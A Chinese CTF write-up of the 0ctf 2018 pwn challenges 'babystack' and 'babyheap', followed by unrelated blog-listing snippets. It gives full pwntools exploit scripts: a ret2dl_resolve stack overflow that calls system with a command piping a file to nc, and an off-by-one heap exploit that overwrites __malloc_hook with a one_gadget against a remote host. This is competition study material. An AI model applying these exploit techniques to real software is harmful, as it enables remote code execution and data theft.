0ctf2018 pwn
前言
对 0ctf2018 的 pwn 做一个总结
正文
babystack
漏洞
非常直接的 栈溢出
ssize_t sub_804843B()
{
char buf; // [esp+0h] [ebp-28h]
return read(0, &buf, 0x40u);
}
这个题的难点在于 用 python 启动了该程序同时过滤了 stdout 和 stdout
#!/usr/bin/python -u
# encoding: utf-8
from pwn import *
import random, string, subprocess, os, sys
from hashlib import sha256
os.chdir(os.path.dirname(os.path.realpath(__file__)))
def proof_of_work():
chal = ''.join(random.choice(string.letters+string.digits) for _ in xrange(16))
print chal
sol = sys.stdin.read(4)
if len(sol) != 4 or not sha256(chal + sol).digest().startswith('\0\0\0'):
exit()
def exec_serv(name, payload):
p = subprocess.Popen(name, stdin=subprocess.PIPE, stdout=file('/dev/null','w'), stderr=subprocess.STDOUT)
p.stdin.write(payload)
p.wait()
if __name__ == '__main__':
proof_of_work()
payload = sys.stdin.read(0x100)
exec_serv('./babystack', payload)
利用
无输出,使用 ret to dl_resolve .
#coding:utf-8
import sys
sys.path.append('./roputils')
import roputils
from pwn import *
from hashlib import sha256
context.terminal = ['tmux', 'splitw', '-h']
fpath = './babystack'
offset = 44 # 离覆盖 eip 需要的距离
command_len = 60 # system 执行的命令长度
readplt = 0x08048300
bss = 0x0804a020
vulFunc = 0x0804843B
p = process(fpath)
rop = roputils.ROP(fpath)
addr_bss = rop.section('.bss')
# step1 : write shStr & resolve struct to bss
# buf1 = rop.retfill(offset)
buf1 = 'A' * offset #44
buf1 += p32(readplt) + p32(vulFunc) + p32(0) + p32(addr_bss) + p32(100)
p.send(buf1)
log.info("首先 rop 调用 read, 往 .bss 布置数据")
buf2 = 'head exp.py | nc 127.0.0.1 8888\x00'
buf2 += rop.fill(command_len, buf2)
buf2 += rop.dl_resolve_data(addr_bss+command_len, 'system')
buf2 += rop.fill(100, buf2)
p.send(buf2)
log.info("布置 bss, 在 bss+command_len 处解析出 system 的地址")
#step3 : use dl_resolve_call get system & system('/bin/sh')
buf3 = 'A'*offset + rop.dl_resolve_call(addr_bss+command_len, addr_bss)
p.send(buf3)
log.info("布置好后,通过 dl_resolve_call, 调用 system")
p.interactive()
babyheap
漏洞
漏洞位于 update 函数时,可以往分配的内存多写入一字节的数据
int __fastcall update(obj *table)
{
unsigned __int64 size; // rax
signed int idx; // [rsp+18h] [rbp-8h]
int size_; // [rsp+1Ch] [rbp-4h]
printf("Index: ");
idx = get_num();
if ( idx >= 0 && idx <= 15 && table[idx].inused == 1 )
{
printf("Size: ");
LODWORD(size) = get_num();
size_ = size;
if ( size > 0 )
{
size = table[idx].size + 1; // size = 分配的内存size + 1
if ( size_ <= size )
{
printf("Content: ");
read_to_buf(table[idx].heap, size_); // 可以溢出一个字节
LODWORD(size) = printf("Chunk %d Updated\n", idx);
}
}
}
else
{
LODWORD(size) = puts("Invalid Index");
}
return size;
}
利用
- 利用
off-by-one来overlap chunk. 然后利用 分配unsorted bin的切割机制,拿到libc地址 - 再次
overlap chunk,构造0x40大小的fastbin,修改0x40大小的fastbin的第一个chunk的fd为0x61 - 分配一个
0x40的fastbin, 此时main_arean->fastbin中就会出现0x61, 用来fastbin攻击 - 再次
overlap chunk,构造0x60大小的fastbin, 修改0x60大小的fastbin的第一个chunk的fd为main_arean->fastbin。 fastbin attack分配到main_arean, 然后修改main_arean->top为__malloc_hook - 0x10, 然后分配内存,修改__malloc_hook为one_gadget
#/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
from time import *
context.terminal = ['tmux', 'splitw', '-h']
context(os='linux', arch='amd64', log_level='info')
env = {"LD_PRELOAD": "./libc-2.24.so"}
# p = process("./babyheap", aslr=0)
p = remote("202.120.7.204", 127)
def allocate(size):
p.recvuntil("Command: ")
p.sendline("1")
p.recvuntil("Size: ")
p.sendline(str(size))
def update(idx, size, content):
p.recvuntil("Command: ")
p.sendline("2")
p.recvuntil("Index: ")
sleep(0.1)
p.sendline(str(idx))
p.recvuntil("Size: ")
p.sendline(str(size))
p.recvuntil("Content: ")
sleep(0.1)
p.send(content)
def delete(idx):
p.recvuntil("Command: ")
p.sendline("3")
p.recvuntil("Index: ")
p.sendline(str(idx))
def view(idx):
p.recvuntil("Command: ")
p.sendline("4")
p.recvuntil("Index: ")
p.sendline(str(idx))
code_base = 0x555555554000
gdb_command = '''
# bp %s
directory ~/workplace/glibc-2.23/malloc/
x/30xg 0x429C0F050000
c
''' %(hex(code_base + 0x000FA9))
# gdb.attach(p, gdb_command)
# pause()
allocate(0x18) # 0
allocate(0x38) # 1
allocate(0x48) # 2
allocate(0x18) # 3
update(0,0x19, "a" * 0x18 + "\x91")
delete(1)
allocate(0x38) # 1
view(2)
p.recvuntil("]: ")
lib = ELF("./libc-2.24.so")
# libc = u64(p.recv(6) + "\x00" * 2) - 0x3c4b78
libc = u64(p.recv(6) + "\x00" * 2) - lib.symbols['__malloc_hook'] - 0x68
malloc_hook = lib.symbols['__malloc_hook'] + libc
# fast_target = libc + 0x3c4b30
fast_target = malloc_hook + 0x20
bins = malloc_hook + 0x68
one_gad = libc + 0x3f35a
# bins = libc + 0x3c4b78
# bins = malloc_hook
log.info("libc: " + hex(libc))
allocate(0x58) # 4
allocate(0x28) # 5
allocate(0x38) # 6
allocate(0x48) # 7
allocate(0x18) # 8
allocate(0x18) # 9
delete(5)
delete(6)
delete(8)
update(3,0x19, "a" * 0x18 + "\xf1")
delete(4)
allocate(0x58) # 4
allocate(0x18) # 5
allocate(0x48) # 6
# update(4,0x59, "a" * 0x59 + "\x31")
update(6, 0x8, p64(0x61))
update(4, 0x59, "a" * 0x58 + "\x41")
# pause()
allocate(0x38) # 8
allocate(0x28) # 10
allocate(0x18) # 11
allocate(0x58) # 12
allocate(0x58) # 13
# pause()
payload = p64(0x0)
payload += p64(0xc1)
update(7,len(payload), payload)
log.info("make 0x180's size 0xc1")
delete(11)
pause()
allocate(0x48) # 11
allocate(0x58) # 14
update(14, 0x10, p64(0) + p64(0x0000000000000061))
delete(12)
update(14, 0x18, p64(0) + p64(0x0000000000000061) + p64(fast_target))
delete(0)
# delete(1)
delete(2)
allocate(0x58) # 0
allocate(0x58) # 2
payload = 'a' * 0x38
payload += p64(malloc_hook-0x10)
payload += p64(bins) * 3
print hex(len(payload))
update(2, len(payload), payload)
delete(0)
allocate(0x28)
payload = "a" * 8
payload += p64(0)
payload += p64(0x21)
payload += p64(bins) * 2
update(11,len(payload), payload)
allocate(0x28)
update(12, 8, p64(one_gad))
log.info("done")
# pause()
allocate(0x10)
p.interactive()
# x/30xg 0x429C0F050000
0ctf2018 pwn的更多相关文章
- Pwn~
Pwn Collections Date from 2016-07-11 Difficult rank: $ -> $$... easy -> hard CISCN 2016 pwn-1 ...
- iscc2016 pwn部分writeup
一.pwn1 简单的32位栈溢出,定位溢出点后即可写exp gdb-peda$ r Starting program: /usr/iscc/pwn1 C'mon pwn me : AAA%AAsAAB ...
- i春秋30强挑战赛pwn解题过程
80pts: 栈溢出,gdb调试发现发送29控制eip,nx:disabled,所以布置好shellcode后getshell from pwn import * #p=process('./tc1' ...
- SSCTF Final PWN
比赛过去了两个月了,抽出时间,将当时的PWN给总结一下. 和线上塞的题的背景一样,只不过洞不一样了.Checksec一样,发现各种防护措施都开了. 程序模拟了简单的堆的管理,以及cookie的保护机制 ...
- pwn学习(1)
0x00 简介 入职之后,公司发布任务主搞pwn和re方向,re之前还有一定的了解,pwn我可真是个弟弟,百度了一番找到了蒸米大佬的帖子,现在开始学习. 0x01 保护方式 NX (DEP):堆栈不可 ...
- pwn学习之四
本来以为应该能出一两道ctf的pwn了,结果又被sctf打击了一波. bufoverflow_a 做这题时libc和堆地址都泄露完成了,卡在了unsorted bin attack上,由于delete ...
- pwn学习之三
whctf2017的一道pwn题sandbox,这道题提供了两个可执行文件加一个libc,两个可执行文件是一个vuln,一个sandbox,这是一道通过沙盒去保护vuln不被攻击的题目. 用ida打开 ...
- pwn学习之二
刚刚开始学习pwn,记录一下自己学习的过程. 今天get了第二道pwn题目的解答,做的题目是2017年TSCTF的easy fsb,通过这道题了解了一种漏洞和使用该漏洞获取shell的方法:即格式化字 ...
- pwn学习之一
刚刚开始学习pwn,记录一下自己学习的过程. 今天完成了第一道pwn题目的解答,做的题目是2017年TSCTF的bad egg,通过这道题学习到了一种getshell的方法:通过在大小不够存储shel ...
随机推荐
- 用postman做接口测试实例
使用postman做接口测试,可以选择请求方式,可以直接输入参数和header,可以编写测试结果的代码,判断是否通过测试 下图为填写接口测试地址.填写接口的参数,点击send发送请求 其中,Param ...
- UiAutomator -- UiObject2 API
1.点击与长按 void click() Clicks on this object. void click(long duration) Performs a click on this objec ...
- Neko and Aki's Prank CodeForces - 1152D (括号序列,dp)
大意: 将所有长度为2*n的合法括号序列建成一颗trie树, 求trie树上选出一个最大不相交的边集, 输出边集大小. 最大边集数一定不超过奇数层结点数. 这个上界可以通过从底层贪心达到, 所以就转化 ...
- 多维标度法(MDS)的Python实现
多维标度法(multidimensional scaling,MDS)是一种在低维空间展示“距离”数据结构的多元数据分析技术,是一种将多维空间的研究对象( 样本 或 变量 ) 简化到低维空间进行定位. ...
- Spring Security构建Rest服务-0600-SpringSecurity基本原理
一.引入 只要引入了spring-boot-starter-security,所有的服务都会被保护起来.启动项目,打开时所有的controller会被保护起来,随便访问一个,如http://local ...
- redis配置详细解析
# redis 配置文件示例 # 当你需要为某个配置项指定内存大小的时候,必须要带上单位, # 通常的格式就是 1k 5gb 4m 等: # # 1k => 1000 bytes # 1kb = ...
- 关于offsetTop的误解
一直以为offset是子元素相对于父元素的距离,后来用了才知道是一个坑,只存在于定位元素中 在做li的搜索的定位的时候,为了得到li相对于ul的距离,本来也可以用li的高度相乘,但是用了offsetT ...
- ztree树的递归
function clickAssignBtn(){ $('#assignBtn').off('click').on('click',function(){ var checkFlag=getRole ...
- 代码阅读——十个C开源项目
1. Webbench Webbench是一个在linux下使用的非常简单的网站压测工具.它使用fork()模拟多个客户端同时访问我们设定的URL,测试网站在压力下工作的性能,最多可以模拟3万个并发连 ...
- GBDT多分类示例
相当于每次都是用2分类,然后不停的训练,最后把所有的弱分类器来进行汇总 样本编号 花萼长度(cm) 花萼宽度(cm) 花瓣长度(cm) 花瓣宽度 花的种类 1 5.1 3.5 1.4 0.2 山鸢尾 ...